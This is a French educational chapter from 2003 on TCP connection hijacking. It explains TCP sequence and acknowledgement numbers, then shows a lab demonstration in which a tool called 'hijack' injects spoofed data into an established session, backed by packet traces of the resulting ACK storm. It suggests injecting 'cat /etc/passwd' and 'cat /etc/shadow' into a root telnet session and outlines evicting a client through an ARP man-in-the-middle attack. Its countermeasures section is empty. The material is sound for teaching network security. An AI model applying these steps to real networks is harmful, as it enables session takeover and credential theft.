CHAPITRE SECOND
Usurpation d'identité au niveau
TCP/IP :
Vol de connexion TCP (Hijacking)
Introduction
La corruption de cache ARP permet de rediriger tous les flux de niveau 2, sans distinction de protocole, qui sont échangés entre deux machines d'un réseau Ethernet.
Or une multitude de connexions de niveaux supérieurs peuvent être multiplexées dans un flux de niveau 2. Dans le cas de l'empoisonnement d'une machine qui est amenée à établir de nouvelles connexions en permanence, l'attaquant se retrouve avec nombre important de connexions à gérer, dont la plupart n'offrent aucun intérêt à ses yeux.
En effet, dans la plupart des cas, l'attaquant s'intéresse à un type de connexion précis. Par exemple, supposons qu'une machine offre les services FTP et Web. Pour une raison précise, l'attaquant peut être amené à vouloir rediriger les connexions FTP d'une machine vers ce serveur, tandis que les connexions HTTP n'auront aucun intérêt pour lui.
Par conséquent, nous avons besoin d'une nouvelle technique, qui nous permettra de cibler précisément la connexion à détourner. Il n'est pas question ici de rediriger une connexion au moment où elle est initialisée. En effet, nous ne travaillons plus avec des adresses physiques mais avec des adresses logiques (adresses IP), et l'usurpation d'identité logique paraît inenvisageable.
En revanche, le détournement d'une connexion déjà établie paraît réalisable. Si nous parvenons à rassembler tous les éléments qui identifient une connexion aux yeux des deux interlocuteurs que nous essayons de berner, nous pourrons alors influer sur cette connexion, et contrôler les données échangées.
Pour le réaliser, il faut agir sur les protocoles qui gèrent cette connexion, à savoir les protocoles de la famille TCP/IP.
2.1 La pile TCP/IP
2.1.1 Les protocoles
Le protocole IP (Internet Protocol) est le ciment qui permet à tous les réseaux TCP/IP de communiquer. Il fonctionne en mode non connecté, et offre en particulier la possibilité d'adresser les machines de manière logique (adresse IP), ce qui leur permet de dialoguer même si elles se trouvent sur des les réseaux physiques différents.
0 |
15
|
31
|
||||||||||||||||||||||||||||||
|
Figure 2.1 : L'entête IP
Seuls quelques champs de
l'entête IP permettent d'identifier une connexion :
- Le champ adresse source indique l'adresse logique de l'émetteur
du paquet. Ainsi, le récepteur sait à qui il parle et peut facilement
lui répondre.
- Le champ adresse destination indique le destinataire, c'est à
dire la machine qui se trouve à l'autre bout de la connexion.
- Enfin le champ protocole indique le protocole de transport utilisé
pour transporter les données de l'utilisateur. Dans notre cas, ce champ
aura la valeur 0x06 (TCP).
Contrairement à IP, le protocole TCP (Transmission Control Protocol) fonctionne en mode connecté, et est chargé de transporter les données de l'utilisateur. L'adressage sous forme de ports logiques permet d'identifier l'application associée à chaque connexion sur la machine. Par exemple, le port 21 est généralement associé à un serveur FTP, le port 80 à un serveur Web, etc. Le mécanisme d'acquittement permet un contrôle de flux logiciel entre les deux interlocuteurs.
0 |
15
|
31
|
|||||||||||||||||||||||||||||||||||
|
Figure 2.2 : L'entête TCP
Nous nous intéressons particulièrement aux éléments qui identifient une connexion, et qui permettent d'assurer son bon fonctionnement : la connaissance de la valeur de ces champs est en effet indispensable pour s'immiscer dans une connexion.
Un certain nombre de drapeaux (flags) sont utilisés au cours de la connexion :
- Le bit SYN permet de demander
l'établissement d'une connexion.
- Le flag ACK indique qu'il s'agit d'un datagramme d'acquittement (la valeur
du champ numéro d'acquittement est valide et doit être prise en
compte par le récepteur)
- Le bit PSH caractérise une datagramme transportant des données
utilisateur.
- Enfin, le bit FIN permet de mettre fin à une connexion.
Comme nous l'avons vu, les ports source et destination permettent à TCP d'identifier l'application associée à cette connexion, et par conséquent de lui passer les données de l'utilisateur.
TCP vérifie scrupuleusement
la validité des numéros de séquence et d'acquittement
dans le but d'assurer un contrôle de flux fiable.
- Le numéro de séquence indique le numéro du premier
octet de données contenu dans le datagramme.
- Le numéro d'acquittement fournit un d'accusé de réception,
et indique le numéro du prochain octet de données attendu par
la machine.
Si tout se passe bien (pas de perte de données, de retransmission, etc.), le numéro d'acquittement du récepteur est identique au numéro de séquence du prochain datagramme envoyé par l'émetteur.
2.1.2 La connexion TCP
2.1.2.1 Établissement
Comme nous nous intéressons ici au vol d'une connexion TCP déjà établie entre deux machines, la phase d'initialisation d'une connexion présente peu d'intérêt pour nous. Il faut cependant savoir qu'elle se déroule en trois phases (Three Way Handshake), au cours desquelles les deux machines choisissent et s'échangent leur propre numéro de séquence, qui sera utilisé pendant toute la durée de la connexion.
2.1.2.2 Échange de données
Quand la phase d'initialisation est terminée, chaque station connaît le numéro de séquence de l'autre. Elles peuvent commencer l'échange de données utilisateur. Pour illustrer ce mécanisme, supposons que la machine Client veut envoyer le message " Bonjour " au Serveur. Client va donc former un datagramme TCP encapsulant la chaîne de caractères " Bonjour ", et avec les numéros de séquence (x) et d'acquittement (y) échangés pendant l'initialisation.
Pour acquitter les données, Serveur met à jour son numéro d'acquittement (x) en ajoutant la longueur des données reçues (7 octets), et émet à son tour un datagramme tenant compte de la nouvelle valeur. En recevant cet accusé de réception, le Client comprend que le Serveur a bien reçu les données, et incrémente son numéro de séquence de 7 octets. Lors de la prochaine émission, il utilisera cette nouvelle valeur comme numéro de séquence.
2.1.2.3 Coupure de la connexion
Quand une machine n'a plus besoin de dialoguer avec l'autre, elle ferme la connexion en émettant un datagramme dont le bit FIN est allumé. Elle ne pourra donc plus émettre, mais par contre son interlocuteur pourra continuer à lui transmettre des données : la libération de la connexion TCP se fait donc en deux phases indépendantes.
2.2 Vol d'une connexion TCP
Nous connaissons maintenant tous les éléments qui permettent d'identifier une connexion TCP. Voyons à présent comment utiliser ces informations dans le but de détourner une session.
2.2.1 Injection de données
Il nous faut tout d'abord
être capables de détecter l'initialisation d'une connexion entre
les deux hôtes.
Cette opération d'espionnage est réalisée simplement en
analysant toutes les trames qui circulent sur le réseau local, et en
recherchant des paquets qui correspondent à certains critères
fixés au préalable :
- Adresses Internet source et destination
- Protocole de transport (TCP)
- Ports source et destination
Quand la connexion est détectée, il faut tenir à jour les numéros de séquence des deux interlocuteurs, car ceux-ci vont probablement s'échanger des données. Il suffit de détecter les datagrammes d'acquittement échangés, et de garder en mémoire la valeur du champ Numéro d'acquittement. En supposant que la transmission s'est correctement déroulée, on peut alors affirmer que ce numéro d'acquittement sera aussi le prochain numéro de séquence de la machine à qui le datagramme est destiné. Une simple écoute du réseau nous permet donc de détecter une connexion, et de mettre à jour, au fur et à mesure de l'échange de données, les numéros de séquence des deux victimes.
Nous disposons donc de toutes les informations pour forger un paquet à destination d'une des deux machines, qui semblera provenir de la seconde. Par conséquent, il devient possible d'injecter des données arbitraires dans cette connexion, et à l'insu des intéressés.
Ces opérations d'espionnage
seront réalisées par un programme développé par
nos soins. Ce programme, dénommé hijack,
est capable de détecter les connexions TCP, d'afficher les données
échangées, et d'envoyer un paquet de données empruntant
la connexion espionnée.
Code source et mode d'emploi de hijack
Pour mettre tout ceci en
pratique, revenons à notre réseau de test :
- 192.168.0.1 jouera le rôle du serveur (en d'autres termes, il met un
port TCP sur écoute et attend qu'une machine se connecte.
- 192.168.0.2 sera le client, et établira une connexion avec le serveur.
- 192.168.0.3 est la machine de l'attaquant, et tentera de voler la connexion
établie entre les deux machines précédentes.
Après que le client se soit connecté au serveur, nous allons tenter d'envoyer un message quelconque au serveur, en nous faisant passer pour le client (donc en empruntant sa connexion).
On lance un serveur sur le port 30 de 192.168.0.1. Celui-ci affiche sur la console toutes les données qu'on lui envoie :
[192.168.0.1]
nestor -a -v -w -p 30
Nestor ready !
Sur la machine de l'attaquant, on lance l'outil de vol de connexion :
[192.168.0.3] hijack -i eth0 -p 30
On peut maintenant établir la connexion entre le client et le serveur :
[192.168.0.2]$
telnet 192.168.0.1 30
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.
/* Le client est connecté, et peut envoyer
des messages au serveur : */
bonjour serveur !
Sur la machine de l'attaquant, hijack affiche :
[192.168.0.3]
hijack -i eth0 -p 30
/* Détection de la connexion entre le client
et le serveur */
TCP session detected : 192.168.0.2:1027 <-> 192.168.0.1:30
/* On liste les connexion détectées
*/
ls
[0] 192.168.0.2:1027 <-> 192.168.0.1:30 - 3711f215 1af9ce
/* On se focalise sur la connexion client<->serveur
*/
cc 0
/* Demande l'affichage du contenu des datagrammes
de données */
dump
/* Détection de l'envoi du message au serveur
*/
192.168.0.1:30 seq=1767886 tsval=43341
bonjour serveur !
192.168.0.2:1027 seq=923922984 tsval=16270
Tentons à présent d'envoyer un message quelconque au serveur en empruntant cette connexion. Cette opération est réalisée grâce à la commande send du programme hijack :
/*
Injection de données */
send devine qui c'est !
192.168.0.2:1027 seq=923923002 tsval=16565
Voyons si l'injection de données a fonctionné, en analysant les messages affichés par le serveur :
[192.168.0.1]#
nestor -a -v -w -p 30
Nestor ready !
Connection from 192.168.0.2:1027
19 bytes received :
/* Chaîne envoyée par le vrai client*/
bonjour serveur !
18 bytes received :
/* Les données injectées sont bien affichées
par le serveur */
devine qui c'est !
L'injection des données a bien fonctionné. Le serveur a bien reçu la chaîne, croyant qu'elle provenait du client, et l'a affichée dans le terminal.
Voyons à présent ce qu'il en est côté client. Après l'envoi du paquet falsifié, le client envoie le message " réponds moi " au serveur. Or ce message n'est pas affiché dans la console du serveur : TCP ne l'a probablement pas pris en compte. En fait la connexion est complètement perdue : aucune des trames envoyées par le client après l'attaque n'est reçue par le serveur.
Pour expliquer ce phénomène, observons la trace de l'analyseur :
/*
Etablissement de la connexion, détection par l'attaquant */
192.168.0.2 -> 192.168.0.1
TCP 1027 > 30 [SYN] Seq=923922964 Ack=0
192.168.0.1
-> 192.168.0.2
TCP 30 > 1027 [SYN, ACK] Seq=1767885 Ack=923922965
192.168.0.2
-> 192.168.0.1
TCP 1027 > 30 [ACK] Seq=923922965 Ack=1767886
/*
Le client envoie un message au serveur */
192.168.0.2 -> 192.168.0.1
TCP 1027 > 30 [PSH, ACK] Seq=923922965 Ack=1767886
Data: bonjour serveur !
192.168.0.1
-> 192.168.0.2
TCP 30 > 1027 [ACK] Seq=1767886 Ack=923922984
/*
L'attaquant envoie un paquet falsifié, semblant provenir du client, et
contenant des données destinées au serveur */
192.168.0.2 -> 192.168.0.1
TCP 1027 > 30 [PSH, ACK] Seq=923922984 Ack=1767886
Data: devine qui c'est !
/*
Le serveur acquitte les données */
192.168.0.1 -> 192.168.0.2
TCP 30 > 1027 [ACK] Seq=1767886 Ack=923923002
/*
Le client continue sa discussion avec le serveur.
Problème : le numéro de séquence est inférieur à
la valeur acquittée par le serveur (à cause des données
injectées)
*/
192.168.0.2 -> 192.168.0.1
TCP 1027 > 30 [PSH, ACK] Seq=923922984 Ack=1767886
Data: reponds moi !
/* Le numéro de séquence du client est
inférieur aux nombre d'octets acquittés par le serveur. Ce dernier
le fait savoir au client */
192.168.0.1 -> 192.168.0.2
TCP 30 > 1027 [ACK] Seq=1767886 Ack=923923002
/* Le client ne reçoit pas l'acquittement
attendu : il émet à nouveau le datagramme */
192.168.0.2 -> 192.168.0.1
TCP 1027 > 30 [PSH, ACK] Seq=923922984 Ack=1767886
Data: reponds moi !
[...]
En injectant des données, nous avons complètement désynchronisé le client et le serveur : en recevant nos données falsifiées, le serveur a incrémenté son numéro d'acquittement de la taille du message (18 octets). Mais le client n'a aucune connaissance de ces données, et par conséquent, son numéro de séquence est inférieur de 18 par rapport au numéro acquitté par le serveur. En d'autres termes, le serveur acquitte des données que le client n'a jamais envoyées.
Cela a pour conséquence l'envoi d'une pluie d'acquittements par les deux interlocuteurs (aussi appelée " ACK Storm "), qui ne prendra fin que lorsque le client fermera la connexion.
L'injection de données permet d'envoyer un seul datagramme falsifié. Immédiatement après, la connexion est complètement perdue et n'a plus qu'à être coupée. Sous des systèmes d'exploitation tels que Linux, cette pluie d'acquittement se caractérise par un échange périodique de datagrammes d'acquittement entre le client et le serveur, toutes les trois secondes environ (délai de retransmission d'un datagramme qui n'a pas été correctement acquitté).
Par contre, des tests sous Windows NT et 95 ont provoqué une véritable tempête d'acquittements (ACK Storm) immédiatement après l'injection des données. L'analyseur a ainsi capturé plus de 100000 trames identiques durant les trois secondes qui ont suivi l'attaque ! Les deux machines s'étant révélées incapables de se resynchroniser, seule une coupure manuelle de la connexion TCP (fermeture du client et du serveur) a pu mettre fin à ce phénomène.
La possibilité de
n'envoyer qu'un seul datagramme de données ne doit pas cacher les applications
offertes pas cette technique : un choix judicieux des données envoyées
peut largement compenser cette limitation.
Par exemple, imaginons un client qui se connecte à un serveur telnet
sous Linux, puis effectue un su root. L'injection
des commandes suivantes permet à l'attaquant de connaître le contenu
de fichiers très sensibles :
cat /etc/passwd
cat /etc/shadow
2.2.2 Eviction d'une machine
Pour s'emparer d'une connexion
de façon durable, nous devons absolument évincer l'un des deux
interlocuteurs, et ne plus dialoguer qu'avec l'autre machine.
Par exemple, dans le cas d'une connexion client-serveur, nous pouvons attendre
l'établissement d'une connexion TCP, puis évincer le client pour
que nous soyons les seuls à dialoguer avec le serveur, et ainsi éviter
les problèmes de désynchronisation.
Nous devons dans un premier temps amener les deux interlocuteurs à passer par une troisième machine pour discuter avec l'autre. Une attaque ARP Man in the Middle est idéale pour réaliser une telle redirection.
La redirection effectuée, il s'agit de mettre hors jeu le client, c'est à dire de l'empêcher de dialoguer avec le serveur. Plusieurs possibilités s'offrent à nous :
Le client évincé,
nous pouvons dialoguer avec le serveur sans risque de déconnexion.
Cependant, nous devons gérer nous-mêmes la connexion, c'est à
dire gérer les acquittements TCP, l'encapsulation des données,
forger les datagrammes, les entêtes IP et Ethernet, de façon à
émettre une trame brute sur le réseau. En effet, comme la connexion
TCP est détournée au vol, nous ne pouvons pas bénéficier
de la pile de protocoles de notre système d'exploitation.
2.3 Parades contre le vol de connexion TCP
Todo
Chapitre 1 : Corruption du cache ARP
Mars 2003 - Romain & Brice